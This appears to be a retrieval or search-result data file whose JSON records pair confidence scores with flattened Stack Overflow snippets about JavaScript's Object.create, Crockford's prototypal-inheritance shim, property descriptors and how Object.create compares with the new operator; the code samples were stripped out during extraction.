{ "confidence": [ 42.50184631347656, 40.714141845703125, 31.868061065673828, 30.767345428466797, 29.719371795654297, 28.135250091552734, 27.080345153808594, 26.61396026611328, 26.481521606445312, 26.332504272460938, 26.3116512298584, 26.247928619384766, 26.247928619384766, 26.168855667114258, 25.79790687561035, 25.72780990600586, 25.611400604248047, 25.544191360473633, 25.32503890991211, 24.96117401123047, 24.858455657958984, 24.739999771118164, 24.515361785888672, 24.419445037841797, 24.37883186340332, 24.37883186340332, 24.29221534729004, 24.286251068115234, 24.225631713867188, 24.080392837524414, 24.02342987060547, 23.996257781982422, 23.80485725402832, 23.80485725402832, 23.766483306884766, 23.557022094726562, 23.394020080566406, 23.313087463378906, 23.271053314208984, 23.271053314208984, 23.271053314208984, 23.271053314208984, 23.25411033630371, 23.25411033630371, 23.25411033630371, 23.19513702392578, 23.051063537597656, 23.051063537597656, 23.051063537597656, 23.051063537597656, 23.01841163635254, 23.01841163635254, 22.924991607666016, 22.806875228881836, 22.70185089111328, 22.6591739654541, 22.56923484802246, 22.55698013305664, 22.530323028564453, 22.356401443481445, 22.165485382080078, 21.979637145996094, 21.922931671142578, 21.84414291381836, 21.84414291381836, 21.84414291381836, 21.739118576049805, 21.739118576049805, 21.739118576049805, 21.650646209716797, 21.6094913482666, 21.554780960083008, 21.554780960083008, 21.510482788085938, 21.237701416015625, 21.237701416015625, 21.232906341552734, 21.232906341552734, 21.22226905822754, 21.135284423828125, 21.126075744628906, 21.126075744628906, 20.99170684814453, 20.99170684814453, 20.86200714111328, 20.824953079223633, 20.81191062927246, 20.81191062927246, 20.81191062927246, 20.81191062927246, 20.702228546142578, 20.702228546142578, 20.68637466430664, 20.67451286315918, 20.509510040283203, 20.509510040283203, 20.509510040283203, 20.47325897216797, 20.47325897216797, 20.47325897216797 ], "content": [ "Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time .", "Why Douglas Crockford of course.. .", "@John You might be interested in John Resigs blog post about ECMAScript 5 : ejohn.org blog ecmascript-5-objects-and-properties http : ejohn.org blog ecmascript-5-objects-and-properties", "For more details see John Resig s post on ECMAScript 5 Objects and Properties http : ejohn.org blog ecmascript-5-objects-and-properties .", "Solution - ECMAScript 5 introduce Object.create to achieve such inheritance easily .", "If the value is a native ECMAScript object do not create a new object but simply return-value .", "This article http : perfectionkills.com how-ecmascript-5-still-does-not-allow-to-subclass-an-array explains it all in some detail .", "I ve come across a peculiarity with Douglas Crockfords Object.create method which I m hoping someone might be able to explain : .. . .. . If I create an object - say person - using object-literal notation then use Object.create to create a new object - say anotherPerson - which inherits the methods and properties from the initial person object .", "It then use the constructor to return an newly initialize object new F F.prototype .. . .. . But the crockford one fail to reassign the constructor properly as normally the new object constructor should be the same as the object constructor it inherits from .", "In the above example we ve created a new object newObject using create method which is a member function of Object object that we ve added in the Object object earlier in our Crockford s example .", "In fact this article refers to the following blog post that actually does explain how to emulate constructors with Object.create : uxebu.com blog 2011 02 http : www.uxebu.com blog 2011 02 object-based-inheritance-for-ecmascript-5", "Object.create https : developer.mozilla.org en JavaScript Reference Global Objects Object create is part of ES5 and only available in Firefox 4 .", "I ve read the MDN document on Object.create https : developer.mozilla.org en-US docs Web JavaScript Reference Global Objects Object create .", "You need to pass an object defining the property not just the value : .. . .. . Reference https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object create .. . .. . Note that the usual way to do OOP in Javascript isn t in using Object.create but in using prototype https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object prototype .", "The ECMAScript 5 Object.create http : sideshowbarker.github.com es5-spec x15.2.3.5 method does a lot more than that you can define properties by property descriptors and you can create an object that doesn t inherit from anything Object.create null this type of shims should be avoided because you can t really emulate that behavior on ES3 .", "The documentation https : developer.mozilla.org en JavaScript Reference Global Objects Object create is clear : .. . .. . Creates a new object with the specified prototype object and properties .", "The ECMAScript 5 Compatibility Table http : kangax.github.io es5-compat-table also has this information .", "I use this way also working in ECMAScript 3 : -", "I have been playing around with Object.create in the EcmaScript 5 spec and I am trying to create a multiple-inheritance type structure .", "developer.mozilla.org en docs Web JavaScript Reference https : developer.mozilla.org en docs Web JavaScript Reference Global Objects Object create", "Being a beginner in javascript i tried to understand Object.create method from here .. . .. . https : developer-new.mozilla.org en-US docs JavaScript Reference Global Objects Object create .. . .. . In the example code line 18 .", "As I can assume from this link https : developer.mozilla.org en JavaScript Reference Global Objects Object create you should do something like :", "See Object.create on MDN https : developer.mozilla.org en-US docs Web JavaScript Reference Global Objects Object create : .. . .. . Object.create proto propertiesObject .. . .. . proto - The object which should be the prototype of the newly-created object .", "Assume an object like so : .. . .. . The above javascript works perfectly in Mozilla .", "I want to basically create an Object with a default-value .", "You must pass an object as the parameter of create method", "The original documentation for Douglas Object.create is here http : javascript.crockford.com prototypal.html .", "Can you confirm that recent EcmaScript didn t add a built-in feature for that", "The JavaScript engine should seek the field in the object itself .", "Here is one method : - .. . .. . This maintains Crockford prototypal-inheritance and also checks for any init method in the object then runs it with your parameter s like say new man John Smith .", "I ve been reading up on the Crockford shim for preventing the overwriting of prototypes and understand that it s not the end-all be-all solution at times .", "I got this technique from http : ejohn.org blog ecmascript-5-objects-and-properties but it got this limitation that the closure variables is the same on all Objects .", "See the following questions and answers for details : .. . .. . Understanding the difference between Object.create and new SomeFunction in JavaScript http : stackoverflow.com questions 4166616 understanding-the-difference-between-object-create-and-new-somefunction-in-j .. . .. . Using Object.create instead of new http : stackoverflow.com questions 2709612 using-object-create-instead-of-new", "possible duplicate of difference between Object.create and new SomeFunction http : stackoverflow.com questions 4166616 understanding-the-difference-between-object-create-and-new-somefunction-in-j or inheritance : Object.create vs new http : stackoverflow.com questions 13040684 javascript-inheritance-object-create-vs-new", "I answered a simpler question previously but with the same gist : Minor drawback with Crockford Prototypical Inheritance http : stackoverflow.com questions 8073055 minor-drawback-with-crockford-prototypical-inheritance 8076515 .", "None of the functions listed at MDN seem to implement this : developer.mozilla.org en JavaScript Reference Global Objects https : developer.mozilla.org en JavaScript Reference Global Objects Object Methods .", "So basically what it does is that the create method declares a function F an empty object every function is a first class object in javascript and then we ve inherited the prototype of o in that case o is also an object oldObject passed as the parameter of create method and finally we ve returned the new object an instance of F using return new F to the variable newObject so now newObject is an object that inherited the oldObject .", "If we create Object b like this : .. . .. . then .. . .. . So if you are doing object oriented scripting than Object.create is very useful for inheritance .", "You can create an object in JavaScript in many ways : .. . .. . But I don t know which versions of IE support the last method i.e .", "@Matias turns out that you can https : developer.mozilla.org en JavaScript Reference Global Objects Object create and that s exactly what I want .", "Know that everything in javascript is an object.. . this allows you to do some very cool stuff pass functions around return functions create easy callback methods .", "..not recommended to use that implementation though see : stackoverflow.com questions 5199126 http : stackoverflow.com questions 5199126 javascript-object-create-not-working-in-firefox", "Where you use new to create a new instance of an object .", "The Object.create will create a duplicate of that object which means it will inherit that object s prototypes .", "On your comments : .. . .. . Better to say that a function is assigned to the create property of Object .", "You can get a reference to the prototype of an object with Object.getPrototypeOf MDN https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object GetPrototypeOf :", "I think this article sums it up pretty nicely : .. . .. . http : www.bennadel.com blog 2184-Object-create-Improves-Constructor-Based-Inheritance-In-Javascript-It-Doesn-t-Replace-It.htm", "You d have to provide your own implementation then like the own provided by @Squeegy http : stackoverflow.com questions 5199126 javascript-object-create-not-working-in-firefox 5199135 5199135 .", "See the example shown at the MDN : .. . .. . https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object create Using 3CpropertiesObject 3E argument with Object.create .. . .. . You could solve by using something like this :", "Yes one very large pitfall : you re stepping on the toes of the definition https : developer.mozilla.org en-US docs Web JavaScript Reference Global Objects Object create Using 3CpropertiesObject 3E argument with Object.create", "Not so in IE .. . .. . Object.create https : developer.mozilla.org en JavaScript Reference Global Objects Object create is not supported at all in IE8 .", "See MDN https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object create .", "The Mozilla documentation for Object.create https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object create Parameters puts it like this : .. . .. . If specified and not undefined an object whose enumerable own properties that is those properties defined upon itself and not enumerable properties along its prototype chain specify property descriptors to be added to the newly-created object with the corresponding property names .", "You can t have an object without prototype in JavaScript because the archetype of an object in this scripting-language causally is the propotype", "See MDN for an explanation of Object.getOwnPropertyDescriptor https : developer.mozilla.org en JavaScript Reference Global Objects Object getOwnPropertyDescriptor .", "Specifically this line confuses me in the create method : .. . .. . I understand how the create method is creating a new object who s prototype points back to Model but the penultimate line seems to overwrite that prototype with a new object Model.prototype .", "You can use Douglas Crockford s version of Object.create for those browsers but this doesn t include the second initialisation object parameter used in CMS s answer .", "I also read this post which provides a more robust secure alternative http : stackoverflow.com questions 3830800 object-defineproperty-in-es5 3844768 .", "The second parameter to Object.create proto propertiesObject should be a property descriptor object .. . .. . The property descriptor structure is described here : https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object defineProperty .. . .. . This will create a property with a default-value that can be both enumerated and modified :", "In my own opinion it s ugly useless and slow http : jsperf.com object-create-vs-constructor-vs-object-literal 7 .", "All it does is create a new object constructor which is F it then assign the passed object to the constructor prototype property so that new object created with the F constructor inherit those methods .", "Then how are you planning to create object", "To get the prototype object of an object use Object.getPrototypeOf https : developer.mozilla.org en JavaScript Reference Global Objects Object getPrototypeOf .", "So far if you want to create an object you can only use literals : .. . .. . or the Object constructor .", "It lets you create a new object and sets the first argument as prototype of the new object .", "@jfriend00 : You would use Object.create if the sole purpose of a constructor function is to create an empty object that inherits from another object .", "Dup : stackoverflow.com questions 2709612 http : stackoverflow.com questions 2709612 using-object-create-instead-of-new", "If you then use that object to create several instances you will have instance specific members on the newly created object s prototype .", "new Test : .. . .. . 1 . create new Object obj .. . 2 . set obj . proto to Test.prototype .. . 3 .", "example : .. . .. . More info can be read here : Mozilla Developer Network : isPrototypeOf https : developer.mozilla.org en JavaScript Reference Global Objects Object IsPrototypeOf", "That s just the way JavaScript is", "Please see section 8.6 of the ECMAScript Standard http : www.ecma-international.org ecma-262 5.1 Ecma-262.pdf for the gory details .", "using property descriptors argument : .. . .. . Note that I m talking about the ECMAScript 5th Edition Object.create http : sideshowbarker.github.com es5-spec x15.2.3.5 method not the Crockford s shim .", "Please see this post http : stackoverflow.com questions 3191103 javascript-object-create-inheriting-nested-properties for a simple solution to the 2 legged lion .", "There s a difference here with Object.create you can create an object that doesn t inherit from anything Object.create null on the other hand if you set SomeConstructor.prototype null the newly created object will inherit from Object.prototype .", "Maruti Object.create Car.prototype - When you create object like this then you have a extra option to choose your object prototype property.If you want Car.prototype as prototype then pass it as parameter in function .", "If there is a miss on finding the field in the object itself then the JavaScript engine must check in the object s prototype .", "there will be https : developer.mozilla.org en-US docs Web JavaScript Reference Global Objects Object assign but i wish it were called Object.clone .", "I m trying to use Object.Create in JavaScript .", "have added the code for Hand", "I know this behaviour on javascript is supposed but how can I create true private variables", "I know this behaviour on javascript is supposed but how can I create true private variables", "See developer.mozilla.org en JavaScript Reference Global Objects https : developer.mozilla.org en JavaScript Reference Global Objects Array forEach .", "Look at this blog post : davidwalsh.name javascript-objects-deconstruction http : davidwalsh.name javascript-objects-deconstruction .", "Honda new Car - When you create object like this then hidden prototype property is pointed to Car.prototype .So here prototype of Honda object will always be Car.prototype we don t have any option to change the prototype property of object.What if I want to change prototype of our newly created object", "I ve tried to read as much on this as possible : SO related questions http : stackoverflow.com questions 2709612 using-object-create-instead-of-new Crockford http : javascript.crockford.com prototypal.html Ben Nadel http : www.bennadel.com site-photo 557 Joost Diepenmaat http : zeekat.nl articles constructors-considered-mildly-confusing.html .", "This answer might help you : stackoverflow.com questions 4166616 http : stackoverflow.com questions 4166616 understanding-the-difference-between-object-create-and-new-somefunction-in-ja", "When I use object.create to create a new object like so .. . .. . I m under the impression that o becomes the prototype of p and inherits all its methods .", "When I create an object using a constructor like : .. . .. . I can add properties that are functions to the constructor function which act like static-class methods .", "If anything it s a duplicate of stackoverflow.com questions 4166616 http : stackoverflow.com questions 4166616 understanding-the-difference-between-object-create-and-new-somefunction-in-j", "I d like to do this the JavaScript Way if there is a way .", ": All the Object.create going around is not exactly idiomatic Javascript .", "A prototype is an object .", "The second argument should be property descriptors ECMA 5", "Just a quick question : how is it possible for object not to inherit from Object", "this is a reference to Model but object is a reference to a new object created from Object.create this .", "So the returned object has an internal Prototype that references the object passed to the function .", "p references o through the internal Prototype property which was accessible in some browsers with proto MDN https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object proto but is now deprecated .", "I recently stumbled upon the Object.create method in JavaScript and am trying to deduce how it is different from creating a new instance of an object with new SomeFunction and when you would want to use one over the other .", "Conclusion - By using Object.create method you have freedom to choose your object prototype property.In new Car you don t have that freedom . .. . .. . Preferred way in OO JavaScript : .. . .. . Suppose we have two objects a and b ." ] }
{ "confidence": [ 46.15406036376953, 44.4732666015625, 44.324642181396484, 42.971073150634766, 42.971073150634766, 41.21006774902344, 38.60247802734375, 37.63446807861328, 37.4830322265625, 37.31766891479492, 36.07745361328125, 35.714759826660156, 35.32100296020508, 35.11522674560547, 34.928348541259766, 34.09443283081055, 33.06623077392578, 32.47632598876953, 32.27361297607422, 31.64840316772461 ], "content": [ "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : Sometimes you cannot create an object with NEW but are still able to invoke the CREATE method . For example : if you want to define a Custom Element it must derive from HTMLElement .", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : The advantage is that Object.create is typically slower than new on most browsers .. . .. . In this jsperf example http : jsperf.com object-create-vs-constructor-vs-object-literal 49 in a Chromium browser new is 30 times as fast as Object.create obj although both are pretty fast . This is all pretty strange because new does more things like invoking a constructor where Object.create should be just creating a new Object with the passed in object as a prototype secret link in Crockford-speak .. . .. . Perhaps the browsers have not caught up in making Object.create more efficient perhaps they are basing it on new under the covers .. . even in native-code Comment : That jsperf appears to be gone .", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : Object.create is not yet standard on several browsers for example IE8 Opera v11.5 Konq 4.3 do not have it . You can use Douglas Crockford s version of Object.create for those browsers but this doesn t include the second initialisation object parameter used in CMS s answer . For cross-browser code one way to get object initialisation in the meantime is to customise Crockford s Object.create . Here is one method : - .. . .. . This maintains Crockford prototypal-inheritance and also checks for any init method in the object then runs it with your parameter s like say new man John Smith . Your code then becomes : - .. . .. . So bob inherits the sayHello method and now has own properties id 1 and name Bob . These properties are both writable and enumerable of course . This is also a much simpler way to initialise than for ECMA Object.create especially if you aren t concerned about the writable enumerable and configurable attributes . For initialisation without an init method the following Crockford mod could be used : - .. . .. . This fills the userB own properties in the order they are defined using the Object.gen parameters from left to right after the userB parameter . It uses the for prop in o loop so by ECMA standards the order of property enumeration cannot be guaranteed the same as the order of property definition . However several code examples tested on 4 major browsers show they are the same provided the hasOwnProperty filter is used and sometimes even if not . Somewhat simpler I would say than Object.build since userB does not need an init method . Also userB is not specifically a constructor but looks like a normal singleton object . So with this method you can construct and initialise from normal plain objects . Comment : There is a polyfill for Object.create in the ES5 Shim github.com kriskowal es5-shim https : github.com kriskowal es5-shim Comment : Great article I ve added a JSFiddle http : jsfiddle.net AV7sV so you have a working example for both Object.build and Object.gen in one file . Also I ve added some semicolons which were missing available in JSFiddle only .", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : You could make the init method return this and then chain the calls together like this :", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : In one sentence : .. . .. . new Computer will cause the constructor function Computer to run for one time while Object.create Computer.prototype won t . All the advantages are based on this point .", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : Another possible usage of Object.create is to clone immutable objects in a cheap and effective way http : jsperf.com object-clone . Notes : The above snippet creates a clone of an source object aka not a reference as in cObj aObj . It benefits over the copy-properties method see 1 http : jsperf.com object-clone in that it does not copy object member properties . Rather it creates another -destination- object with it s prototype set on the source object . Moreover when properties are modified on the dest object they are created on the fly masking the prototype s src s properties.This constitutes a fast an effective way of cloning immutable objects . The caveat here is that this applies to source objects that should not be modified after creation immutable . If the source object is modified after creation all the clone s unmasked properties will be modified too . Fiddle here http : jsfiddle.net y5b5q 1 needs Object.create capable browser . Comment : Calling this clone is confusing to me and probably many others . To most people a clone method implies that changes to the original would not affect the clone . Comment : Understood I amended the answer to account only for source objects considered immutable .", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : There is really no advantage in using Object.create .. . over new object . Those advocating this method generally state rather ambiguous advantages : scalability http : stackoverflow.com questions 7505546 or more natural to JavaScript http : www.adobe.com devnet html5 articles javascript-object-creation.html etc . However I have yet to see a concrete example that shows that Object.create has any advantages over using new . On the contrary there are known problems with it . Sam Elsamman describes what happens when there are nested objects and Object.create .. . is used http : elsamman.com p 32 : .. . .. . This occurs because Object.create .. . advocates a practice where data is used to create new objects here the Animal datum becomes part of the prototype of lion and bird and causes problems as it is shared . When using new the prototypal-inheritance is explicit : .. . .. . Regarding the optional property attributes that are passed into Object.create .. . these can be added using Object.defineProperties .. . https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object defineProperties . Comment : I disagree . Object.create neither enforces nor encourages the practice of using prototypes as any kind of storage for default data values as the linked article seems to suggest . Proper data initialization is the responsibility of whoever creates a particular object like a factory or builder in the OO design . Inheriting data rather than behaviour is feasible in JS but not a common scenario . Comment : As long as you understand that the argument to Object.create is supposed to be the prototype this problem shouldn t come up . Obviously you can get the same bad behavior when using new if you say Animal.prototype.traits The only reason it s clear you shouldn t do that is that you understand how javascript prototypes work . Comment : God god So many downvotes for providing the right answer : - The point is Object.create does not permit a mechanism for constructor arguments so one is forced to extend data . Now this data may contain nested objects which leads to the problem above . With prototypal-inheritance on the other hand we only run into this problem if we were to explicitly write out Animal.prototype.traits . One method is implicit the other explicit . Don t chose the one that leads to problems . Comment : Please see this post http : stackoverflow.com questions 3191103 javascript-object-create-inheriting-nested-properties for a simple solution to the 2 legged lion . Here s some working code to illustrate it http : jsfiddle.net d131 a6xhu Comment : I would suggest reading this article by Kyle Simpson . All three parts are interesting but part 3 is key . If after reading those you still think new is better than Object.create then there is no hope for you : davidwalsh.name javascript-objects-deconstruction http : davidwalsh.name javascript-objects-deconstruction", "Question : I ve been reading up on the Crockford shim for preventing the overwriting of prototypes and understand that it s not the end-all be-all solution at times . I also understand that ES5 Shim https : github.com kriskowal es5-shim may be a viable alternative to this . I also read this post which provides a more robust secure alternative http : stackoverflow.com questions 3830800 object-defineproperty-in-es5 3844768 . Still I d like to know what his Object.create shim is saying and then doing . Can someone please tell me if my explanation comments are right This way the prototype of the stooge object can t be overwritten when we augment stuff to another stooge . No need to reset the stooge prototype using constructor . Thanks in advance .. . .. . -k .. . Answer : In the above example we ve created a new object newObject using create method which is a member function of Object object that we ve added in the Object object earlier in our Crockford s example . So basically what it does is that the create method declares a function F an empty object every function is a first class object in javascript and then we ve inherited the prototype of o in that case o is also an object oldObject passed as the parameter of create method and finally we ve returned the new object an instance of F using return new F to the variable newObject so now newObject is an object that inherited the oldObject . Now if you write console.log newObject.prop then it ll output Property one because our newObject object has inherited the oldObject and that s why we ve got the value of prop as Property one . this is known as prototypical inheritance . You must pass an object as the parameter of create method Comment : A-ha I think I got it . Thanks Sheikh...your help is greatly appreciated Comment : You are most welcomw : -", "Question : I ve been reading up on the Crockford shim for preventing the overwriting of prototypes and understand that it s not the end-all be-all solution at times . I also understand that ES5 Shim https : github.com kriskowal es5-shim may be a viable alternative to this . I also read this post which provides a more robust secure alternative http : stackoverflow.com questions 3830800 object-defineproperty-in-es5 3844768 . Still I d like to know what his Object.create shim is saying and then doing . Can someone please tell me if my explanation comments are right This way the prototype of the stooge object can t be overwritten when we augment stuff to another stooge . No need to reset the stooge prototype using constructor . Thanks in advance .. . .. . -k .. . Answer : All it does is create a new object constructor which is F it then assign the passed object to the constructor prototype property so that new object created with the F constructor inherit those methods . It then use the constructor to return an newly initialize object new F F.prototype .. . .. . But the crockford one fail to reassign the constructor properly as normally the new object constructor should be the same as the object constructor it inherits from . Comment : Hi gillesc . Thanks for responding So when this is used does that mean that the prototype of the constructer needs to be reset Something like : stooge.prototype.constructor stooge Thanks again", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : You have to make a custom Object.create function . One that addresses Crockfords concerns and also calls your init function . This will work : .. . .. . Here UserB is like Object.create but adjusted for our needs . If you want you can also call : Comment : Why not just have UserB say var f Object.create userPrototype f.init name return f Comment : init might be called several times . nothing preventing that .", "Question : I have a question about the following canonical object.create method : .. . .. . On line 3 of the above code we set the prototype property of the F object to the o argument s prototype . I would have thought this meant that both o and F point to the same prototype and therefore point to the same set of members . But the code then goes onto copy all the members in the prop in props loop . What is the point of setting the prototype in line 3 if we then go onto copy all the members manually .. . Answer : There s a mistake in the version of Object.create in your question : The loop attaches the properties to the constructor function F not to the returned object or its prototype which means they re not accessible in the created object . The properties of the second parameter to Object.create are supposed to be copied to the newly created object . The Mozilla documentation for Object.create https : developer.mozilla.org en-US docs JavaScript Reference Global Objects Object create Parameters puts it like this : .. . .. . If specified and not undefined an object whose enumerable own properties that is those properties defined upon itself and not enumerable properties along its prototype chain specify property descriptors to be added to the newly-created object with the corresponding property names . Try running the following code with the version of Object.create in the question : .. . .. . You ll find that o.a prototype s a and o.b prototype s b object s a is lost . The following version of the function would probably be more useful : .. . .. . Let s try it out with the same example : .. . .. . The new object o is created with a prototype that has properties a and b and it s own property a . Let s look at o.b first : o.hasOwnProperty b will return false because o does not have a property called b . That s where the prototype comes in because there is no property b it is looked up on the prototype and therefore o.b prototype s b . On the other hand o.hasOwnProperty a will return true because o does have an a property . o.a object s a and nothing is looked up from the prototype . As pointed out in @chuckj s answer http : stackoverflow.com a 12296251 5168 the correct implementation of Object.create is more complicated than this . For more details see John Resig s post on ECMAScript 5 Objects and Properties http : ejohn.org blog ecmascript-5-objects-and-properties .", "Question : Javascript 1.9.3 ECMAScript 5 introduces Object.create which Douglas Crockford amongst others has been advocating http : javascript.crockford.com prototypal.html for a long time . How do I replace new in the code below with Object.create Assume MY GLOBAL.nextId exists . The best I can come up with is : .. . .. . There doesn t seem to be any advantage so I think I m not getting it . I m probably being too neo-classical . How should I use Object.create to create user bob Comment : When the accepted answer has less votes than the question maybe the accepted answer isn t acceptable @CMS would have you write a factory function that uses Object.create internally to get the same single-step functionality as new UserA bob . Comment : Perhaps its the most acceptable answer considering it has the most votes of all 6 answers . Comment : See also Understanding the difference between Object.create and new SomeFunction http : stackoverflow.com q 4166616 1048572 .. . Answer : With only one level of inheritance your example may not let you see the real benefits of Object.create https : developer.mozilla.org en Core JavaScript 1.5 Reference Global Objects Object create . This methods allows you to easily implement differential inheritance where objects can directly inherit from other objects . On your userB example I don t think that your init method should be public or even exist if you call again this method on an existing object instance the id and name properties will-change . Object.create lets you initialize object properties using its second argument e.g . : .. . .. . As you can see the properties can be initialized on the second argument of Object.create with an object-literal using a syntax similar to the used by the Object.defineProperties and Object.defineProperty methods . It lets you set the property attributes enumerable writable or configurable which can be really useful . Comment : 1 . Thanks for the pointer to differential inheritance . 2 . Does this mean no more constructors I need to remember to set id to MY GLOBAL.nextId every time I create a user Comment : You re welcome @Graham you re right no more constructors needed with this method although the currently available implementations on Firefox 3.7apre5 the latest WebKit Nightly builds and Chrome 5 Beta are not so fast http : webreflection.blogspot.com 2010 03 new-constructor-vs-objectcreate.html compared with plain old constructors hopefully this will-change in the near future . For the object creation you could create a factory function i.e . function createUser name .. . with all the needed logic to create your user objects within with Object.create . Comment : Re : no more constructors : Normally you d write an ordinary function to be the factory for objects . Internally it would use Object.create to make a blank object and then modify it as necessary before returning it . The caller of that factory doesn t have to remember the prefix new . Comment : @CMS When would or wouldn t you want to set enumerable to true Comment : @GrahamKing You could use a closure to init your objects : jsfiddle.net Prqdt http : jsfiddle.net Prqdt", "Question : I was wondering how I could make private variables in javascript through clojure . But still have them cloned when using Object.create . I got this technique from http : ejohn.org blog ecmascript-5-objects-and-properties but it got this limitation that the closure variables is the same on all Objects . I know this behaviour on javascript is supposed but how can I create true private variables Comment : this code looks auto generated was it generated by clojure code Comment : Nope it wasn t why do you think it looks auto-generated Comment : As an alternative without private variables could be jsfiddle.net heera G9E9m http : jsfiddle.net heera G9E9m .. . Answer : I know this behaviour on javascript is supposed but how can I create true private variables You can t there is no private in ES5 . You can use ES6 private names if you want . You can emulate ES6 private names with ES6 WeakMaps which can be shimmed in ES5 . This is an expensive and ugly emulation that s not worth the cost . Comment : I think as an alternative without private variables could be jsfiddle.net heera G9E9m http : jsfiddle.net heera G9E9m", "Question : Being a beginner in javascript i tried to understand Object.create method from here .. . .. . https : developer-new.mozilla.org en-US docs JavaScript Reference Global Objects Object create .. . .. . In the example code line 18 . A accessor property is created with writable set to true . I also read that writable is only for data descriptors . Tried running .. . .. . I get invalid property error . Comment : is the mozilla reference incorrect Comment : The Mozilla reference was indeed incorrect . It s a wiki so I just logged in and fixed it . They re rolling out a new wiki very shortly so you might not see the fix just yet depending on whether you are enrolled in the beta I think . .. . Answer : The issue is that writable and set get are 